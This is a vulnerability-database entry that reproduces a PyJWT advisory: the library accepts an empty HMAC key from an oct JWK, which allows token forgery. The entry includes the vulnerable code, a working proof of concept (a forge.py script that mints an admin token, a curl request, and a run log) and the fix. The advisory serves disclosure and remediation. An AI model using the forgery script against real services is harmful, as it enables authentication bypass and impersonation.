BREW-LOCALSTACK-GHSA-PXH… (GHSA-PXH4-856F-4H89)
Vulnerability from osv_homebrew – Published: 2026-10-23 09:48 – Updated: 2026-10-23 09:48 – Source websiteSummary
HMACAlgorithm.from_jwk accepts a symmetric (kty=oct) JWK whose k value is
the empty string and returns a zero-length key without raising. When a token is
then verified with that key object (a PyJWK, or a PyJWK resolved by
PyJWKSet / PyJWKClient), the HMAC verifier computes
HMAC(key=b"", signing_input) and accepts any token an attacker forged with the
same empty key. The attacker needs no secret knowledge: they reproduce the digest
locally with an empty key and set the token's kid to the empty-k JWK.
The empty-key rejection that HMACAlgorithm.prepare_key performs for
string/bytes secrets (added in 2.13.0) was never propagated to the sibling
from_jwk code path, so the JWK/JWKS verification route stays exploitable. Under
default decode options this path only emits an InsecureKeyLengthWarning, not an
error, so verification still succeeds. This is the same "empty/nil HMAC key is
accepted by verify" defect the JWT ecosystem is currently closing library-side:
fast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a
library-side reject-empty-HMAC-key precondition.
Affected versions
PyJWT (PyPI package pyjwt) <= 2.13.0, current master at commit
7144e4534c34810f4525dc4578a32addd8212cff. The string/bytes secret path is
already guarded in 2.13.0; the JWK/JWKS path is not.
Privilege required
Unauthenticated. Any party who can reach a JWT-verifying endpoint of an
application that verifies via a PyJWK / PyJWKSet / PyJWKClient whose oct
key has an empty k can forge tokens with arbitrary claims.
Preconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct
entry carries an empty k. This occurs when the signing secret is sourced from
an unset environment variable / unset config row / key-finder fallback that
base64url-encodes b"" into the published JWKS, or when the application trusts a
JWKS containing such an entry. The equivalent unset-secret case for the
string-secret API (jwt.decode(token, key="")) is already rejected in 2.13.0;
the JWK route is the remaining reachable surface for the same misconfiguration.
Vulnerable code
jwt/algorithms.py, HMACAlgorithm.from_jwk (line 380):
@staticmethod
def from_jwk(jwk: str | JWKDict) -> bytes:
try:
if isinstance(jwk, str):
obj: JWKDict = json.loads(jwk)
elif isinstance(jwk, dict):
obj = jwk
else:
raise ValueError
except ValueError:
raise InvalidKeyError("Key is not valid JSON") from None
if obj.get("kty") != "oct":
raise InvalidKeyError("Not an HMAC key")
return base64url_decode(obj["k"]) # <-- empty k -> b"", no rejection
Contrast the sibling prepare_key, which DID get the guard (lines 325-329):
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if len(key_bytes) == 0:
raise InvalidKeyError("HMAC key must not be empty.")
In jwt/api_jws.py, _verify_signature (lines 389-416) uses the PyJWK key
material directly, bypassing prepare_key, and the length warning is non-fatal
by default:
if isinstance(key, PyJWK):
if alg != key.algorithm_name:
raise InvalidAlgorithmError(
f"Token algorithm {alg!r} does not match the key's "
f"algorithm {key.algorithm_name!r}"
)
alg_obj = key.Algorithm
prepared_key = key.key # from_jwk output (b""), prepare_key not run
else:
try:
alg_obj = self.get_algorithm_by_name(alg)
except NotImplementedError as e:
raise InvalidAlgorithmError("Algorithm not supported") from e
prepared_key = alg_obj.prepare_key(key)
key_length_msg = alg_obj.check_key_length(prepared_key)
if key_length_msg:
if effective_options.get("enforce_minimum_key_length", False):
raise InvalidKeyError(key_length_msg)
else:
warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) # default: warn only
if not alg_obj.verify(signing_input, prepared_key, signature): # verify with b"" succeeds
raise InvalidSignatureError("Signature verification failed")
PyJWK.__init__ sets self.key = self.Algorithm.from_jwk(self._jwk_data), so a
{"kty":"oct","k":""} JWK yields PyJWK.key == b"". PyJWKSet and
PyJWKClient.get_signing_key_from_jwt build PyJWK objects the same way, so the
JWKS-over-HTTP resolution route is affected identically.
The 2.13.0 release note (CHANGELOG.rst) documents the prepare_key JWK/PEM
hardening (GHSA-xgmm-8j9v-c9wx) and the PyJWK alg-binding fix
(GHSA-jq35-7prp-9v3f), and the test suite has
test_hmac_prepare_key_rejects_empty_key plus
test_hmac_from_jwk_should_raise_exception_if_empty_json (which tests an empty
JSON object {}, not an oct key with empty k). The empty-k oct case is the
untested sibling path this report closes.
How the attacker input reaches the sink
An unauthenticated HTTP client controls the bearer token entirely: its kid
selects the empty-k oct JWK, and its signature is computed locally with the
empty key. The token flows request header -> PyJWKClient.get_signing_key_from_jwt
(kid resolution against the trusted JWKS) -> jwt.decode with the resolved
PyJWK -> _verify_signature -> HMACAlgorithm.verify(signing_input, b"", sig).
No secret,
credential, or prior session is required; the only server-side precondition is a
JWKS oct entry with an empty k, which the "unset signing secret" configuration
produces. This is the identical trust boundary the string-secret path already
guards.
Proof of concept
End-to-end reproduction against pinned PyPI pyjwt 2.13.0 (two deployed Flask services)
Two services model a standard OIDC-style deployment: an auth service publishing a
JWKS, and a protected resource server validating bearer tokens against that JWKS
with PyJWT's documented PyJWKClient pattern. The auth service's signing secret
is sourced from an unset env var (SIGNING_SECRET unset -> ""), so the
published oct JWK carries k == "".
idp.py (auth service):
import os, base64
from flask import Flask, jsonify
app = Flask(__name__)
SIGNING_SECRET = os.environ.get("SIGNING_SECRET", "") # UNSET at runtime -> ""
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
@app.route("/.well-known/jwks.json")
def jwks():
return jsonify({"keys": [{
"kty": "oct", "use": "sig", "alg": "HS256",
"kid": "auth-signing-2026",
"k": b64u(SIGNING_SECRET.encode()), # empty secret -> k == ""
}]})
if __name__ == "__main__":
app.run(port=9101)
api.py (protected resource server):
from flask import Flask, request, jsonify
import jwt
from jwt import PyJWKClient
app = Flask(__name__)
jwks_client = PyJWKClient("http://127.0.0.1:9101/.well-known/jwks.json")
def authenticate():
auth = request.headers.get("Authorization", "")
if not auth.startswith("Bearer "):
return None, "missing bearer token"
token = auth.split(" ", 1)[1]
try:
signing_key = jwks_client.get_signing_key_from_jwt(token) # resolves by kid
claims = jwt.decode(token, signing_key, algorithms=["HS256", "RS256"])
except Exception as e:
return None, "invalid token: %s" % type(e).__name__
return claims, None
@app.route("/api/admin/users")
def admin_users():
claims, err = authenticate()
if err:
return jsonify({"error": err}), 401
if claims.get("role") != "admin":
return jsonify({"error": "forbidden"}), 403
return jsonify({"ok": True, "action": "list_all_users",
"as_user": claims.get("sub"), "role": claims.get("role")})
if __name__ == "__main__":
app.run(port=9102)
forge.py (attacker; no secret knowledge):
import hmac, hashlib, base64, json, sys
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
header={"alg":"HS256","typ":"JWT","kid":"auth-signing-2026"}
payload={"sub":"attacker@evil.example","role":"admin"}
si=b64u(json.dumps(header,separators=(',',':')).encode())+"."+b64u(json.dumps(payload,separators=(',',':')).encode())
key = sys.argv[1].encode() if len(sys.argv)>1 else b"" # empty key
sig=hmac.new(key, si.encode(), hashlib.sha256).digest()
print(si+"."+b64u(sig))
Run:
python -m venv v && ./v/bin/pip install "PyJWT==2.13.0" flask
( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py &
FORGED=$(./v/bin/python forge.py "")
curl -s -H "Authorization: Bearer $FORGED" http://127.0.0.1:9102/api/admin/users
Verbatim run (attack, both negative controls, sanity, and patched-build re-run):
### PyJWT version
2.13.0
### JWKS published by the auth service (note the empty "k"):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
### Baseline: unauthenticated request to admin endpoint
HTTP 401
### ATTACK: attacker forges HS256 admin token signed with the EMPTY key
forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ
response:
{"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"}
<-- HTTP 200
### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -> reject
{"error":"invalid token: InvalidSignatureError"}
<-- HTTP 401
### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail
JWKS now has non-empty k:
{"keys":[{"alg":"HS256","k":"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: InvalidSignatureError"}
<-- HTTP 401
### Sanity: a legitimately-signed token with the real secret is accepted
{"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"}
<-- HTTP 200
### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -> now rejected
JWKS (empty k, vulnerable config):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: PyJWKSetError"}
<-- HTTP 401
The attack returns HTTP 200 with role:admin from an unauthenticated forged
token. Both negative controls (wrong non-empty key; real non-empty secret at the
auth service) return 401, isolating the defect to empty-key acceptance. The
patched build (the from_jwk fix below) rejects the forgery.
Impact
- Unauthenticated authentication bypass / token forgery: an attacker mints tokens
with arbitrary claims (
role:admin, arbitrarysub) that verify successfully, yielding full impersonation and privilege escalation on any endpoint gated by such tokens. - Reachable through the documented JWKS verification API
(
PyJWKClient/PyJWKSet/PyJWK), not just directHMACAlgorithmuse. - Triggered by the common "unset signing secret" misconfiguration that the string-secret path already rejects in 2.13.0, leaving the JWK path as an asymmetric gap.
Suggested fix
Reject a zero-length key in HMACAlgorithm.from_jwk, mirroring the guard that
prepare_key already applies:
if obj.get("kty") != "oct":
raise InvalidKeyError("Not an HMAC key")
key_bytes = base64url_decode(obj["k"])
if len(key_bytes) == 0:
raise InvalidKeyError("HMAC key must not be empty.")
return key_bytes
This reuses the exact error message and length check the string/bytes path uses,
so both HMAC key-loading routes enforce the same invariant. A regression test for
the empty-k oct JWK belongs next to test_hmac_from_jwk_should_raise_exception_if_empty_json.
Fix PR
https://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory
temp fork, base master, branch fix/hmac-from-jwk-reject-empty-key,
DCO-signed; adds test_hmac_from_jwk_rejects_empty_k; test_algorithms.py,
test_api_jwk.py, test_api_jws.py pass).
Credit
Reported by tonghuaroot.
Maintainer update (2026-09-10): We reproduced the reported behavior: an
octJWK with an emptykvalue was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed asaf8181ca0bec5e6b372fbba9afbe23702b787ceband has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.15.1",
"upstream_fixed_in": "2.14.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "localstack",
"purl": "pkg:brew/localstack"
},
"ranges": [
{
"events": [
{
"introduced": "4.4.0"
},
{
"fixed": "2026.3.0_3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.15.1",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.15.1"
}
]
},
"details": "### Summary\n\n`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is\nthe empty string and returns a zero-length key without raising. When a token is\nthen verified with that key object (a `PyJWK`, or a `PyJWK` resolved by\n`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes\n`HMAC(key=b\"\", signing_input)` and accepts any token an attacker forged with the\nsame empty key. The attacker needs no secret knowledge: they reproduce the digest\nlocally with an empty key and set the token\u0027s `kid` to the empty-`k` JWK.\n\nThe empty-key rejection that `HMACAlgorithm.prepare_key` performs for\nstring/bytes secrets (added in 2.13.0) was never propagated to the sibling\n`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under\ndefault decode options this path only emits an `InsecureKeyLengthWarning`, not an\nerror, so verification still succeeds. This is the same \"empty/nil HMAC key is\naccepted by verify\" defect the JWT ecosystem is currently closing library-side:\nfast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a\nlibrary-side reject-empty-HMAC-key precondition.\n\n### Affected versions\n\n`PyJWT` (PyPI package `pyjwt`) `\u003c= 2.13.0`, current `master` at commit\n`7144e4534c34810f4525dc4578a32addd8212cff`. The string/bytes secret path is\nalready guarded in 2.13.0; the JWK/JWKS path is not.\n\n### Privilege required\n\nUnauthenticated. Any party who can reach a JWT-verifying endpoint of an\napplication that verifies via a `PyJWK` / `PyJWKSet` / `PyJWKClient` whose oct\nkey has an empty `k` can forge tokens with arbitrary claims.\n\nPreconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct\nentry carries an empty `k`. This occurs when the signing secret is sourced from\nan unset environment variable / unset config row / key-finder fallback that\nbase64url-encodes `b\"\"` into the published JWKS, or when the application trusts a\nJWKS containing such an entry. The equivalent unset-secret case for the\nstring-secret API (`jwt.decode(token, key=\"\")`) is already rejected in 2.13.0;\nthe JWK route is the remaining reachable surface for the same misconfiguration.\n\n### Vulnerable code\n\n`jwt/algorithms.py`, `HMACAlgorithm.from_jwk` (line 380):\n\n```python\n@staticmethod\ndef from_jwk(jwk: str | JWKDict) -\u003e bytes:\n try:\n if isinstance(jwk, str):\n obj: JWKDict = json.loads(jwk)\n elif isinstance(jwk, dict):\n obj = jwk\n else:\n raise ValueError\n except ValueError:\n raise InvalidKeyError(\"Key is not valid JSON\") from None\n\n if obj.get(\"kty\") != \"oct\":\n raise InvalidKeyError(\"Not an HMAC key\")\n\n return base64url_decode(obj[\"k\"]) # \u003c-- empty k -\u003e b\"\", no rejection\n```\n\nContrast the sibling `prepare_key`, which DID get the guard (lines 325-329):\n\n```python\ndef prepare_key(self, key: str | bytes) -\u003e bytes:\n key_bytes = force_bytes(key)\n\n if len(key_bytes) == 0:\n raise InvalidKeyError(\"HMAC key must not be empty.\")\n```\n\nIn `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key\nmaterial directly, bypassing `prepare_key`, and the length warning is non-fatal\nby default:\n\n```python\n if isinstance(key, PyJWK):\n if alg != key.algorithm_name:\n raise InvalidAlgorithmError(\n f\"Token algorithm {alg!r} does not match the key\u0027s \"\n f\"algorithm {key.algorithm_name!r}\"\n )\n alg_obj = key.Algorithm\n prepared_key = key.key # from_jwk output (b\"\"), prepare_key not run\n else:\n try:\n alg_obj = self.get_algorithm_by_name(alg)\n except NotImplementedError as e:\n raise InvalidAlgorithmError(\"Algorithm not supported\") from e\n prepared_key = alg_obj.prepare_key(key)\n\n key_length_msg = alg_obj.check_key_length(prepared_key)\n if key_length_msg:\n if effective_options.get(\"enforce_minimum_key_length\", False):\n raise InvalidKeyError(key_length_msg)\n else:\n warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) # default: warn only\n\n if not alg_obj.verify(signing_input, prepared_key, signature): # verify with b\"\" succeeds\n raise InvalidSignatureError(\"Signature verification failed\")\n```\n\n`PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a\n`{\"kty\":\"oct\",\"k\":\"\"}` JWK yields `PyJWK.key == b\"\"`. `PyJWKSet` and\n`PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the\nJWKS-over-HTTP resolution route is affected identically.\n\nThe 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM\nhardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix\n(GHSA-jq35-7prp-9v3f), and the test suite has\n`test_hmac_prepare_key_rejects_empty_key` plus\n`test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty\nJSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the\nuntested sibling path this report closes.\n\n### How the attacker input reaches the sink\n\nAn unauthenticated HTTP client controls the bearer token entirely: its `kid`\nselects the empty-`k` oct JWK, and its signature is computed locally with the\nempty key. The token flows request header -\u003e `PyJWKClient.get_signing_key_from_jwt`\n(kid resolution against the trusted JWKS) -\u003e `jwt.decode` with the resolved\n`PyJWK` -\u003e `_verify_signature` -\u003e `HMACAlgorithm.verify(signing_input, b\"\", sig)`.\nNo secret,\ncredential, or prior session is required; the only server-side precondition is a\nJWKS oct entry with an empty `k`, which the \"unset signing secret\" configuration\nproduces. This is the identical trust boundary the string-secret path already\nguards.\n\n### Proof of concept\n\n### End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services)\n\nTwo services model a standard OIDC-style deployment: an auth service publishing a\nJWKS, and a protected resource server validating bearer tokens against that JWKS\nwith PyJWT\u0027s documented `PyJWKClient` pattern. The auth service\u0027s signing secret\nis sourced from an unset env var (`SIGNING_SECRET` unset -\u003e `\"\"`), so the\npublished oct JWK carries `k == \"\"`.\n\n`idp.py` (auth service):\n\n```python\nimport os, base64\nfrom flask import Flask, jsonify\napp = Flask(__name__)\nSIGNING_SECRET = os.environ.get(\"SIGNING_SECRET\", \"\") # UNSET at runtime -\u003e \"\"\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\n@app.route(\"/.well-known/jwks.json\")\ndef jwks():\n return jsonify({\"keys\": [{\n \"kty\": \"oct\", \"use\": \"sig\", \"alg\": \"HS256\",\n \"kid\": \"auth-signing-2026\",\n \"k\": b64u(SIGNING_SECRET.encode()), # empty secret -\u003e k == \"\"\n }]})\n\nif __name__ == \"__main__\":\n app.run(port=9101)\n```\n\n`api.py` (protected resource server):\n\n```python\nfrom flask import Flask, request, jsonify\nimport jwt\nfrom jwt import PyJWKClient\napp = Flask(__name__)\njwks_client = PyJWKClient(\"http://127.0.0.1:9101/.well-known/jwks.json\")\n\ndef authenticate():\n auth = request.headers.get(\"Authorization\", \"\")\n if not auth.startswith(\"Bearer \"):\n return None, \"missing bearer token\"\n token = auth.split(\" \", 1)[1]\n try:\n signing_key = jwks_client.get_signing_key_from_jwt(token) # resolves by kid\n claims = jwt.decode(token, signing_key, algorithms=[\"HS256\", \"RS256\"])\n except Exception as e:\n return None, \"invalid token: %s\" % type(e).__name__\n return claims, None\n\n@app.route(\"/api/admin/users\")\ndef admin_users():\n claims, err = authenticate()\n if err:\n return jsonify({\"error\": err}), 401\n if claims.get(\"role\") != \"admin\":\n return jsonify({\"error\": \"forbidden\"}), 403\n return jsonify({\"ok\": True, \"action\": \"list_all_users\",\n \"as_user\": claims.get(\"sub\"), \"role\": claims.get(\"role\")})\n\nif __name__ == \"__main__\":\n app.run(port=9102)\n```\n\n`forge.py` (attacker; no secret knowledge):\n\n```python\nimport hmac, hashlib, base64, json, sys\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nheader={\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"auth-signing-2026\"}\npayload={\"sub\":\"attacker@evil.example\",\"role\":\"admin\"}\nsi=b64u(json.dumps(header,separators=(\u0027,\u0027,\u0027:\u0027)).encode())+\".\"+b64u(json.dumps(payload,separators=(\u0027,\u0027,\u0027:\u0027)).encode())\nkey = sys.argv[1].encode() if len(sys.argv)\u003e1 else b\"\" # empty key\nsig=hmac.new(key, si.encode(), hashlib.sha256).digest()\nprint(si+\".\"+b64u(sig))\n```\n\nRun:\n\n```bash\npython -m venv v \u0026\u0026 ./v/bin/pip install \"PyJWT==2.13.0\" flask\n( SIGNING_SECRET= ./v/bin/python idp.py \u0026 ) ; ./v/bin/python api.py \u0026\nFORGED=$(./v/bin/python forge.py \"\")\ncurl -s -H \"Authorization: Bearer $FORGED\" http://127.0.0.1:9102/api/admin/users\n```\n\nVerbatim run (attack, both negative controls, sanity, and patched-build re-run):\n\n```\n### PyJWT version\n2.13.0\n\n### JWKS published by the auth service (note the empty \"k\"):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n\n### Baseline: unauthenticated request to admin endpoint\nHTTP 401\n\n### ATTACK: attacker forges HS256 admin token signed with the EMPTY key\nforged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ\nresponse:\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n \u003c-- HTTP 200\n\n### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -\u003e reject\n{\"error\":\"invalid token: InvalidSignatureError\"}\n \u003c-- HTTP 401\n\n### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail\nJWKS now has non-empty k:\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: InvalidSignatureError\"}\n \u003c-- HTTP 401\n\n### Sanity: a legitimately-signed token with the real secret is accepted\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n \u003c-- HTTP 200\n\n### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -\u003e now rejected\nJWKS (empty k, vulnerable config):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: PyJWKSetError\"}\n \u003c-- HTTP 401\n```\n\nThe attack returns HTTP 200 with `role:admin` from an unauthenticated forged\ntoken. Both negative controls (wrong non-empty key; real non-empty secret at the\nauth service) return 401, isolating the defect to empty-key acceptance. The\npatched build (the `from_jwk` fix below) rejects the forgery.\n\n### Impact\n\n- Unauthenticated authentication bypass / token forgery: an attacker mints tokens\n with arbitrary claims (`role:admin`, arbitrary `sub`) that verify successfully,\n yielding full impersonation and privilege escalation on any endpoint gated by\n such tokens.\n- Reachable through the documented JWKS verification API\n (`PyJWKClient` / `PyJWKSet` / `PyJWK`), not just direct `HMACAlgorithm` use.\n- Triggered by the common \"unset signing secret\" misconfiguration that the\n string-secret path already rejects in 2.13.0, leaving the JWK path as an\n asymmetric gap.\n\n### Suggested fix\n\nReject a zero-length key in `HMACAlgorithm.from_jwk`, mirroring the guard that\n`prepare_key` already applies:\n\n```python\nif obj.get(\"kty\") != \"oct\":\n raise InvalidKeyError(\"Not an HMAC key\")\n\nkey_bytes = base64url_decode(obj[\"k\"])\nif len(key_bytes) == 0:\n raise InvalidKeyError(\"HMAC key must not be empty.\")\nreturn key_bytes\n```\n\nThis reuses the exact error message and length check the string/bytes path uses,\nso both HMAC key-loading routes enforce the same invariant. A regression test for\nthe empty-`k` oct JWK belongs next to `test_hmac_from_jwk_should_raise_exception_if_empty_json`.\n\n### Fix PR\n\nhttps://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory\ntemp fork, base `master`, branch `fix/hmac-from-jwk-reject-empty-key`,\nDCO-signed; adds `test_hmac_from_jwk_rejects_empty_k`; `test_algorithms.py`,\n`test_api_jwk.py`, `test_api_jws.py` pass).\n\n### Credit\n\nReported by tonghuaroot.\n\n\u003e Maintainer update (2026-09-10): We reproduced the reported behavior: an `oct` JWK with an empty `k` value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as `af8181ca0bec5e6b372fbba9afbe23702b787ceb` and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
"id": "BREW-localstack-GHSA-pxh4-856f-4h89",
"modified": "2026-10-23T09:48:02Z",
"published": "2026-10-23T09:48:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-pxh4-856f-4h89"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/commit/af8181ca0bec5e6b372fbba9afbe23702b787ceb"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery",
"upstream": [
"GHSA-pxh4-856f-4h89"
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.